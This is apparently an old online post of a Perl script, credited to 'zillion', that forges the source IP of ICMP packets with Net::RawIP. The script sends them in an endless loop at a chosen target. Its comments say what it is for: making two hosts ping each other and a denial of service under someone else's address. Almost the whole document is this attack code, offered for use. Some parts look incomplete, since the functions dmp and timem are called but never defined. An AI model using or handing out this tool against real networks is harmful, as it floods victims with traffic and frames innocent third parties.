Spoofing tool for ICMP packets - In perl! Able to send any ICMP type. More info on ICMP types available here. Requires the Net::Raw::IP module.
f09dbd27a1265b34e14ded59d4c3798f44bb6e8a0aa0363cb3444e878bf421a5
#!/usr/bin/perl
#
# Spoofing tool for ICMP packages!
#
# Written by zillion. Safemode.org r0cks ;]
#
# - Let 2 hosts ping eachother
# - DoS using someone's ip (DoSsing is lame!)
#
# Check this document and get creative! :
#
# https://www.isi.edu/in-notes/iana/assignments/icmp-parameters
#
# Requires the Net::Raw::IP module for perl
#
use Net::RawIP qw(:pcap);
my($ping,$source,$destination,$type) = @ARGV;
if(@ARGV < 4) {
die"\nUsage $0 <target> <source ip> <destination ip> <icmp type>\n\n";
}
$a = new Net::RawIP ({icmp =>{}});
$a->set({ip => {saddr => $source,
daddr => $ping},
icmp => {type => $type, id => $$}
});
$device = 'eth0'; # Note: you might have to change this
$filt = "ip proto \\icmp and icmp[0]==0 and dst host $destination";
$size = 1500;
$tout = 30;
$pcap = $a->pcapinit($device,$filt,$size,$tout);
$i =0;
if(fork){
loop $pcap,-1,\&dmp,\@a;
}
else{
sleep 2;
for(;;){
$a->set({icmp => {sequence => $i,data => timem()}});
$a->send(1,1);
$i++
}
}